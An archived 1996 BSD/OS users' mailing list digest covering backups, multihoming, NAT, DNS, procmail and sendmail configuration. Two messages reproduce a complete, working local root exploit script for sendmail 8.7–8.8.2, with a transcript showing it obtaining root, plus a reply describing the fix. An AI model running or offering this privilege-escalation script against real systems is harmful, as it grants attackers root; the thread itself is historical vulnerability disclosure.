lists.gateway.com (8.8.2/555-1212) id AAA23369 for bsdi-users-outgoing; Sat, 16 Nov 1996 00:52:27 -0500 (EST) Message-Id: <199611160550.AAA04180@home.pcrealm.net> Reply-To: "BSDI Mail" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "BSDI Mail" Sender: owner-bsdi-users@lists.gateway.com To: "bsdi-users@bsdi.com" Subject: Tape Backup on BSDI 2.1/3.0 Date: Sat, 16 Nov 96 01:51:04 Hello everyone... I recently got an HP SureStore 6000 4/8GB DDS-2 4MM Tape Backup Drive... What I am wondering, is will 3.0 have a better way of doing tape backups? Maybe a menu-oriented version? Also if not, is there any good software that supports BSDI, what I am looking for is something simple to use, but menu driven... dump works, but I would rather be able to catalog and use functions like that... also what is the best source for information on backing up systems(like over nfs... etc...). Since the BSDI 2.1 manual only has one page on doing backups... :> Thanks for any info... From VM Sat Nov 16 18:29:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3015" "Fri" "15" "November" "1996" "21:56:50" "-0800" "Paul A. Vixie" "paul@vix.com" nil "72" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06018 for ; Sat, 16 Nov 1996 00:54:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA23392 for bsdi-users-outgoing; Sat, 16 Nov 1996 00:57:00 -0500 (EST) X-btw: vix.com is also gw.home.vix.com and vixie.sf.ca.us Organization: Vixie Enterprises Message-ID: References: <3.0.1.32.19961115135829.009e32c0@popgw.firstdata.com> NNTP-Posting-Host: wisdom.home.vix.com In-reply-to: armando@tio.com's message of 15 Nov 1996 16:50:37 -0800 Xref: vixie local.mail.bsdi.users:29804 Precedence: bulk From: paul@vix.com (Paul A Vixie) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Fri, 15 Nov 1996 21:56:50 -0800 (PST) > I'm going add a new line to my site, would anyone recommend the best way > to go? I have a cisco 2514 but know that a bsdi box with T1 boards also > works as a router. Using GateD? Yes, using GateD. > Can I use the 2514 to do dual homing? Should I use it? Should I use BSDI > instead? What would cost less and be easier to configure? If you have routable and portable and provider-independent address space, then you should pick whichever router you are most comfortable fixing. Especially if you have to fix it while blind drunk with the lights off. Any money you save on hardware you will pay back 10X in down time unless you have a box that you know how to fix without consulting the documentation. On the other hand if you do not have provider independent space, the Cisco is pretty limited in its ability to make your net look like it belongs to two different providers. Cisco Local Director and Cisco NAT will help, but I still think you can't beat the configurability of a BSD/OS solution. To that end, allow me to reprise a recent message I sent to the NANOG list: To: nanog@merit.edu Subject: Re: a multihomed net In-reply-to: Your message of "Tue, 22 Oct 1996 01:40:12 CDT." Date: Tue, 22 Oct 1996 00:26:59 -0700 From: Paul A Vixie Today I multihomed a customer using only two disjoint PA spaces. PA1 PA2 P1---=---Wall---=---P2 | ------ RFC1597 | Server "Wall" speaks GateD and collects full routing from P1's and P2's wires, which in my case are "null hub" 10BaseT cables since both providers are located at DEC PAIX, along with this customer. "Wall" runs a Squid proxy in "accelerator mode". "Wall" and "Server" are on an RFC1597 net. I don't have full routes from both providers at this hour, but that's the easy part (my own firewall collects full routes from 6 providers now and does it in 64MB of RAM with some left over, so far.) "Wall" has to run a DNS server and "Server" has to resolver through it. "Wall" has to run Sendmail in "proxy to Server" mode, and Server has to run Sendmail in "Wall is the smart host" mode. "Wall" uses the "socket" command to make Telnet go straight through to "Server". "Wall" also acts as an NFS server for "Server" so that they can share an FTP "/incoming" area for external content updates. It turns out that Squid's accelerator is observably quicker to come up with the fancy GIFs this site likes to export, than the real Netscape Commerce server is. Even though "Server" has quite a lot more computrons inside of it than "Wall" has. So don't let's talk any longer about multihoming requiring PI space. I did this whole thing with an almost-stock BSD/OS 2.1 system (other than the "socket" command which is off the net from way back.) (I have no idea why I undertook this project, I've got code to write...) -- Paul Vixie La Honda, CA "Illegitimibus non carborundum." pacbell!vixie!paul From VM Sat Nov 16 18:29:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1235" "Fri" "15" "November" "1996" "22:02:30" "-0800" "Paul A. Vixie" "paul@vix.com" nil "29" "Re: IP Adress Proxy Software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06285 for ; Sat, 16 Nov 1996 00:58:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA23403 for bsdi-users-outgoing; Sat, 16 Nov 1996 01:02:39 -0500 (EST) X-btw: vix.com is also gw.home.vix.com and vixie.sf.ca.us Organization: Vixie Enterprises Message-ID: References: <199611151614.LAA13564@cse.psu.edu> NNTP-Posting-Host: wisdom.home.vix.com In-reply-to: ehrlich@cse.psu.edu's message of 15 Nov 1996 11:51:49 -0800 Xref: vixie local.mail.bsdi.users:29805 Precedence: bulk From: paul@vix.com (Paul A Vixie) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: IP Adress Proxy Software Date: Fri, 15 Nov 1996 22:02:30 -0800 (PST) > I was wondering if there is software available that would allow a machine > running BSDI to act as a proxy router for a private IP network? I am trying > to set up a small net of machines at home, but the university will only give > me one IP address. You can do it with a series of application level proxies like Squid and Socket and so on -- see my recent message about multihoming for details. Or you can grab Proxynet, a package I wrote for Sony a few years ago. A technical report was written: ftp://ftp.vix.com/pub/vixie/proxynet.psf.gz ..and the software is available: ftp://ftp.vix.com/pub/vixie/proxynet.tar.gz Note that this requires client programs to be relinked. It is *not* transparent. Doing this transparently is called NAT, although on Linux they call it IP Masquerade or some such. I like Proxynet better for some purposes -- see the technical report for details. Note that there are NO restrictions on the use or redistribution, commercial or otherwise, of Proxynet. As to why I have so many things to say on this subject, I guess I saw the IPv4 address shortage coming a few years before the press did. -- Paul Vixie La Honda, CA "Illegitimibus non carborundum." pacbell!vixie!paul From VM Sat Nov 16 18:29:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["903" "Fri" "15" "November" "1996" "22:11:01" "-0800" "Paul A. Vixie" "paul@vix.com" nil "18" "Re: Web pages coming up slow" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA06560 for ; Sat, 16 Nov 1996 01:08:11 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA23422 for bsdi-users-outgoing; Sat, 16 Nov 1996 01:11:10 -0500 (EST) X-btw: vix.com is also gw.home.vix.com and vixie.sf.ca.us Organization: Vixie Enterprises Message-ID: References: <328D4B57.1070@megabits.net> NNTP-Posting-Host: wisdom.home.vix.com In-reply-to: gmckinney@megabits.net's message of 15 Nov 1996 19:07:59 -0800 Xref: vixie local.mail.bsdi.users:29806 Precedence: bulk From: paul@vix.com (Paul A Vixie) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Web pages coming up slow Date: Fri, 15 Nov 1996 22:11:01 -0800 (PST) Note that a nonauthoritative answer isn't necessarily an error. It will happen the vast majority of the time, with any luck, since any time DNS has a cache hit in your local server (which you were using and which is the default case) the authority bit will not be set. The authority bit means "the answer you are reading is in a message which came from an authoritative server for this zone, even if it's being forwarded to you by your local server." Later answers are in original messages, not forwarded messages, and the message originator is your local server, which isn't authoritative. It's no big deal. On the other hand if you ask one of the designated authority servers (someone listed in the zone's NS RRset, for example) and it gives you a nonauthoritative answer, you have found a problem. -- Paul Vixie La Honda, CA "Illegitimibus non carborundum." pacbell!vixie!paul From VM Sat Nov 16 18:29:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["687" "Sat" "16" "November" "1996" "01:40:26" "-0500" "Bill Warner" "lww@ictech.com" nil "20" "Re: IP Adress Proxy Software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA07376 for ; Sat, 16 Nov 1996 01:38:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA23492 for bsdi-users-outgoing; Sat, 16 Nov 1996 01:40:38 -0500 (EST) Message-Id: <3.0.32.19961116014023.006a4d14@pop.ictech.com> X-Sender: lww@pop.ictech.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: IP Adress Proxy Software Date: Sat, 16 Nov 1996 01:40:26 -0500 At 10:02 PM 11/15/96 -0800, Paul A Vixie wrote: >> I was wondering if there is software available that would allow a machine >> running BSDI to act as a proxy router for a private IP network? I am trying >> to set up a small net of machines at home, but the university will only give >> me one IP address. > >You can do it with a series of application level proxies like Squid and >Socket and so on -- see my recent message about multihoming for details. > >Or you can grab Proxynet, a package I wrote for Sony a few years ago. Another possibility is Juniper. Juniper is a transparent proxy firewall package. It is not free, however... Bill From VM Sat Nov 16 18:29:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["315" "Sat" "16" "November" "1996" "02:01:56" "-0500" "Stephen Frost" "sfrost@user2.mnsinc.com" nil "11" "Re: Auto-reply daemon" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA08377 for ; Sat, 16 Nov 1996 02:03:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id CAA24221 for bsdi-users-outgoing; Sat, 16 Nov 1996 02:02:21 -0500 (EST) Message-Id: <199611160701.CAA15840@user2.mnsinc.com> In-Reply-To: from "Joe Hohertz" at Nov 15, 96 07:03:36 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Stephen Frost Sender: owner-bsdi-users@lists.gateway.com To: jhohertz@golden.net (Joe Hohertz) Cc: bsdi-users@BSDI.COM Subject: Re: Auto-reply daemon Date: Sat, 16 Nov 1996 02:01:56 -0500 (EST) > > Nah.... user procmail. It'll do the auto-reply, plus a bazilion other nifty > things. I've been trying to get procmail to compile on my BSD 2.1 system for a while and keep running in to problems. It's version 3.10 I believe. Anyone have the latest version of Procmail hacked over for BSD 2.1? Stephen From VM Sat Nov 16 18:30:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["454" "Sat" "16" "November" "1996" "08:46:56" "-0800" "David A. Lee" "dave@calldei.com" nil "18" "Re: Auto-reply daemon" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA25468 for ; Sat, 16 Nov 1996 11:54:13 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA26172 for bsdi-users-outgoing; Sat, 16 Nov 1996 11:47:17 -0500 (EST) Message-Id: <199611161646.IAA17850@dei.calldei.com> In-Reply-To: <199611160701.CAA15840@user2.mnsinc.com> from "Stephen Frost" at Nov 16, 96 02:01:56 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: sfrost@user2.mnsinc.com (Stephen Frost) Cc: jhohertz@golden.net, bsdi-users@BSDI.COM Subject: Re: Auto-reply daemon Date: Sat, 16 Nov 1996 08:46:56 -0800 (PST) I have procmail 3.11 up and running just fine. If you'd like a copy send me email. -David Lee dave@calldei.com > > > > > Nah.... user procmail. It'll do the auto-reply, plus a bazilion other nifty > > things. > > I've been trying to get procmail to compile on my BSD 2.1 system for a while > and keep running in to problems. It's version 3.10 I believe. Anyone have > the latest version of Procmail hacked over for BSD 2.1? > > > Stephen > From VM Sat Nov 16 18:30:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["390" "Sat" "16" "November" "1996" "09:33:55" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "12" "skey authentication" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA25472 for ; Sat, 16 Nov 1996 11:55:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA26202 for bsdi-users-outgoing; Sat, 16 Nov 1996 11:57:45 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: BSDI Users Subject: skey authentication Date: Sat, 16 Nov 1996 09:33:55 -0500 (EST) Is anyone using skey authentication with bsd/os? If so, are you experiencing any problems with it and/or do you have any particular recommendations regarding its implementation? The owner of this service would like skey used for (at least) telnet access, and I'm doing some preliminary research. Any information and/or useful links will be much appreciated. Thanks in advance, Ralph From VM Sat Nov 16 18:30:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["743" "Sat" "16" "November" "1996" "12:27:04" "-0500" "Douglas Sand" "dsand@cyberzone-inc.com" nil "30" "Re: need shopping cart and secure server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA26321 for ; Sat, 16 Nov 1996 12:33:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA26291 for bsdi-users-outgoing; Sat, 16 Nov 1996 12:30:09 -0500 (EST) Message-Id: <1.5.4.32.19961116172704.00673ba4@main.cyberzone-inc.com> X-Sender: dsand@main.cyberzone-inc.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Douglas Sand Sender: owner-bsdi-users@lists.gateway.com To: jim@web-ex.com Cc: bsdi-users@BSDI.COM Subject: Re: need shopping cart and secure server Date: Sat, 16 Nov 1996 12:27:04 -0500 As far as the cart...there is a good Adverware one, for FREE. The only requirement is that you place their logo at the bottom of the shopping cart page and you leave it on the automatic output pages. You can find it at http:///www.perlshop.com At 12:39 PM 11/15/96 +0000, you wrote: >Hey fellow BSDI-ers, > >I have a client that wants a simple shopping cart written and a secure >server to run it on. I was thinking about Stronghold. Can anyone advise >me on server. what about the cart. Where can I get one? Would one of you >like to sell me one? > >Thank you all. > >Jim Cassata >______________________ >jim@web-ex.com >Web Express, Inc. >20 Broadhollow Road >Suite 3011 >Melville, NY 11747 >516.421.6000 >516.421.3882 fax > > From VM Sat Nov 16 18:30:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["703" "Sat" "16" "November" "1996" "13:05:02" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "15" "Re: Auto-reply daemon " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA27410 for ; Sat, 16 Nov 1996 13:13:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA26366 for bsdi-users-outgoing; Sat, 16 Nov 1996 13:05:16 -0500 (EST) Message-Id: <199611161805.NAA26947@kci.kciLink.com> In-reply-to: Your message of "Sat, 16 Nov 1996 02:01:56 EST." <199611160701.CAA15840@user2.mnsinc.com> Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: Stephen Frost cc: jhohertz@golden.net (Joe Hohertz), bsdi-users@BSDI.COM Subject: Re: Auto-reply daemon Date: Sat, 16 Nov 1996 13:05:02 -0500 +--------- | I've been trying to get procmail to compile on my BSD 2.1 system for a while | and keep running in to problems. It's version 3.10 I believe. Anyone have | the latest version of Procmail hacked over for BSD 2.1? +--------- I don't recall having trouble compiling procmail 3.10 nor 3.11pre4 on BSD/OS 2.1. It might help if you showed us what the trouble you are having is. v. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Vivek Khera, Ph.D. Khera Communications, Inc. Internet: khera@kciLink.com Rockville, MD +1-301-258-8292 PGP/MIME spoken here http://www.kciLink.com/home/khera/ From VM Sat Nov 16 18:30:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["846" "Sat" "16" "November" "1996" "15:19:51" "+0100" "Jos Backus" "jos@oce.nl" nil "24" "Re: sendmail rewriting rules " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA27415 for ; Sat, 16 Nov 1996 13:13:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA26372 for bsdi-users-outgoing; Sat, 16 Nov 1996 13:05:36 -0500 (EST) >Return-Path: In-Reply-To: Your message of Fri, 15 Nov 1996 13:40:51 PST. Message-Id: <3394.848153991@oce.nl> Content-Type: text Precedence: bulk From: Jos Backus Sender: owner-bsdi-users@lists.gateway.com To: Amy Cc: bsdi-users@BSDI.COM Subject: Re: sendmail rewriting rules Date: Sat, 16 Nov 1996 15:19:51 +0100 Hi Amy, In message Ok, the sendmail book is driving me BATty. I want to rewrite all sender's >addresses going through my mailhost to sender@domain.com - basically i >need to strip the machine name off without using the masquerade option, >because then my virtual domains lose their domainname. Dunno about sendmail (gave up on that long ago - have better things to do with my time :) but it is easy with qmail. Groetjes, Jos -- Jos Backus _/ _/_/_/ R-IS/SNB _/ _/ _/ Oce-Nederland B.V. _/ _/_/_/ Venlo, The Netherlands _/ _/ _/ _/ jos@oce.nl _/_/ _/_/_/ #include From VM Sat Nov 16 18:30:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["834" "Sat" "16" "November" "1996" "13:13:27" "-0500" "Jerry Workman" "jerry@newwave.net" nil "32" "RE: Re: need shopping cart and secure server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA27419 for ; Sat, 16 Nov 1996 13:14:58 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA26394 for bsdi-users-outgoing; Sat, 16 Nov 1996 13:13:39 -0500 (EST) Message-Id: <199611161813.NAA07765@ns.newwave.net> Reply-To: jerry@newwave.net X-Mail-Gateway: NewWave POP3 Web Client Precedence: bulk From: Jerry Workman Sender: owner-bsdi-users@lists.gateway.com To: helver@newwave.net Cc: bsdi-users@BSDI.COM Subject: RE: Re: need shopping cart and secure server Date: Sat, 16 Nov 1996 13:13:27 -0500 This is from PopMail On Sat, 16 Nov 1996, Douglas Sand wrote: >As far as the cart...there is a good Adverware one, for FREE. The only >requirement is that you place their logo at the bottom of the shopping cart >page and you leave it on the automatic output pages. > >You can find it at http:///www.perlshop.com > > >At 12:39 PM 11/15/96 +0000, you wrote: >>Hey fellow BSDI-ers, >> >>I have a client that wants a simple shopping cart written and a secure >>server to run it on. I was thinking about Stronghold. Can anyone advise >>me on server. what about the cart. Where can I get one? Would one of you >>like to sell me one? >> >>Thank you all. >> >>Jim Cassata >>______________________ >>jim@web-ex.com >>Web Express, Inc. >>20 Broadhollow Road >>Suite 3011 >>Melville, NY 11747 >>516.421.6000 >>516.421.3882 fax >> >> From VM Sat Nov 16 18:30:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2144" "Sat" "16" "November" "1996" "11:23:54" "-0500" "Jason R. Mastaler" "jason@mastaler.com" nil "62" "Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA29077 for ; Sat, 16 Nov 1996 14:11:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA26528 for bsdi-users-outgoing; Sat, 16 Nov 1996 14:09:41 -0500 (EST) Message-Id: <199611161623.LAA04946@ashanti.webmaster.net> Reply-To: jason@mastaler.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: "Jason R. Mastaler" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sat, 16 Nov 1996 11:23:54 -0500 This *does* work on BSD/OS unfortunately. Eric Allman, author of sendmail will be releasing a fix later on today.. rios:/tmp> uname -r -s BSD/OS 2.1 rios:/tmp> whoami jason rios:/tmp> sh smtpd.sh override rwxr-xr-x jason/wheel for /tmp/smtpd? y # whoami root # ------- Forwarded Message #-------------------------------- CUT HERE ------------------------------------- #/bin/sh # # # Hi ! # This is exploit for sendmail smtpd bug # (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). # This shell script does a root shell in /tmp directory. # If you have any problems with it, drop me a letter. # Have fun ! # # # ---------------------- # --------------------------------------------- # ----------------- Dedicated to my beautiful lady ------------------ # --------------------------------------------- # ---------------------- # # Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su # # # echo 'main() '>>leshka.c echo '{ '>>leshka.c echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c echo '} '>>leshka.c # # echo 'main() '>>smtpd.c echo '{ '>>smtpd.c echo ' setuid(0); setgid(0); '>>smtpd.c echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c echo '} '>>smtpd.c # # cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c ./leshka kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1` rm leshka.c leshka smtpd.c /tmp/smtpd /tmp/sh #-------------------------------- CUT HERE ------------------------------------- ------- End of Forwarded Message From VM Sat Nov 16 18:30:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1442" "Sat" "16" "November" "1996" "11:06:39" "-0800" "David A. Lee" "dave@calldei.com" nil "48" "Re: sendmail rewriting rules" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA29082 for ; Sat, 16 Nov 1996 14:11:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA26520 for bsdi-users-outgoing; Sat, 16 Nov 1996 14:06:54 -0500 (EST) Message-Id: <199611161906.LAA19004@dei.calldei.com> In-Reply-To: from "Amy" at Nov 15, 96 01:40:51 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: "David A. Lee" Sender: owner-bsdi-users@lists.gateway.com To: root@internet-frontier.net (Amy) Cc: bsdi-users@BSDI.COM Subject: Re: sendmail rewriting rules Date: Sat, 16 Nov 1996 11:06:39 -0800 (PST) This works for me, I turn on MASQUARADE and also _LIMITED_MASQUERADE_ This strips my host name from the domain, but allows virtual domains (using POP) to not be rewritten! --------- EXCEPRT from my bsdi.cf file /usr/share/sendmail/cf/bsdi.cf ---- # Also masquarade the envelop FEATURE(masquerade_envelope) # Have From: line show user@calldei.com # Must define _LIMITED_MASQUERADE_ so that mail *from* accounts # where the user sets the Reply address (in POP) dont get rewritten # For example john@devoy.com was being rewritten to john@calldei.com # define(`_LIMITED_MASQUERADE_',`1') MASQUERADE_AS(calldei.com) # This is the file of domains we attempt to rewrite MASQUERADE_DOMAIN_FILE(/etc/sendmail.md) dnl # If masquerading, EXPOSED_USER defines the list of accounts dnl # that retain the local hostname in their address. dnl # Example: dnl EXPOSED_USER(`postmaster hostmaster webmaster') # DEI Use a file for exposed users (CE -> FE) FE/etc/sendmail.ce ----------- END CUT ------------------- > > > Ok, the sendmail book is driving me BATty. I want to rewrite all sender's > addresses going through my mailhost to sender@domain.com - basically i > need to strip the machine name off without using the masquerade option, > because then my virtual domains lose their domainname. > > Is this a function of ruleset 1? and if so would this work: > > R$- $@$1<@$R> > R$*<@$=w>$* $@$1<@$R>$3 > > ??? > > Amy :) > From VM Sat Nov 16 18:30:37 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["537" "Sat" "16" "November" "1996" "05:40:27" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "28" "Re: Web pages coming up slow" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA29649 for ; Sat, 16 Nov 1996 14:36:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA26588 for bsdi-users-outgoing; Sat, 16 Nov 1996 14:36:49 -0500 (EST) In-Reply-To: <328D4B57.1070@megabits.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: "Gary N. McKinney" cc: jim@web-ex.com, bsdi-users@BSDI.COM Subject: Re: Web pages coming up slow Date: Sat, 16 Nov 1996 05:40:27 -0500 (EST) Domain Name: WEB-EX.COM Domain servers in listed order: NS.LI.NET 199.171.6.12 NS.STRUCTURED.NET 206.58.0.34 > web-ex.com Server: ns.li.net Address: 199.171.6.12 Name: web-ex.com Address: 205.230.175.10 > web-ex.com Server: ns.structured.net Address: 206.58.0.34 Name: web-ex.com Address: 205.230.175.10 DNS seems okay. I pulled down some of those pages and they came up quite quickly. No perceivable problem with you on-site stuff. Off-site perfarmance did vary. - Ralph From VM Sat Nov 16 18:30:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2763" "Sat" "16" "November" "1996" "13:35:15" "-0800" "Jason Downs" "downsj@teeny.org" nil "83" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA03026 for ; Sat, 16 Nov 1996 16:40:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id QAA26923 for bsdi-users-outgoing; Sat, 16 Nov 1996 16:36:31 -0500 (EST) Message-Id: <199611162135.NAA07654@threadway.teeny.org> X-Mailer: exmh version 1.6.5 12/11/95 In-reply-to: Your message of "Sat, 16 Nov 1996 11:23:54 EST." <199611161623.LAA04946@ashanti.webmaster.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Jason Downs Sender: owner-bsdi-users@lists.gateway.com To: jason@mastaler.com cc: bsdi-users@BSDI.COM Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sat, 16 Nov 1996 13:35:15 -0800 In message <199611161623.LAA04946@ashanti.webmaster.net>, "Jason R. Mastaler" writes: >This *does* work on BSD/OS unfortunately. Eric Allman, author of >sendmail will be releasing a fix later on today.. The intelligence of posting the exploit without posting the fix is very questionable. Did you not actually look at the exploit? The fix is very simple. Killing the privilages in main.c:sighup() before the exec*() is the most direct approach. >rios:/tmp> uname -r -s >BSD/OS 2.1 >rios:/tmp> whoami >jason >rios:/tmp> sh smtpd.sh >override rwxr-xr-x jason/wheel for /tmp/smtpd? y ># whoami >root ># > >------- Forwarded Message > >#-------------------------------- CUT HERE ----------------------------------- >-- >#/bin/sh ># ># ># Hi ! ># This is exploit for sendmail smtpd bug ># (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). ># This shell script does a root shell in /tmp directory. ># If you have any problems with it, drop me a letter. ># Have fun ! ># ># ># ---------------------- ># --------------------------------------------- ># ----------------- Dedicated to my beautiful lady ------------------ ># --------------------------------------------- ># ---------------------- ># ># Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su ># ># ># >echo 'main() '>>leshka.c >echo '{ '>>leshka.c >echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c >echo '} '>>leshka.c ># ># >echo 'main() '>>smtpd.c >echo '{ '>>smtpd.c >echo ' setuid(0); setgid(0); '>>smtpd.c >echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c >echo '} '>>smtpd.c ># ># >cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c >./leshka >kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\ >n"|head -n 1` >rm leshka.c leshka smtpd.c /tmp/smtpd >/tmp/sh >#-------------------------------- CUT HERE ----------------------------------- >-- > >------- End of Forwarded Message > > > -- Jason Downs (503) 256-8535 -/- (503) 952-3749 downsj@teeny.org --> teeny.org: Free Software for a Free Internet <-- http://www.teeny.org/ This ain't no steeenking 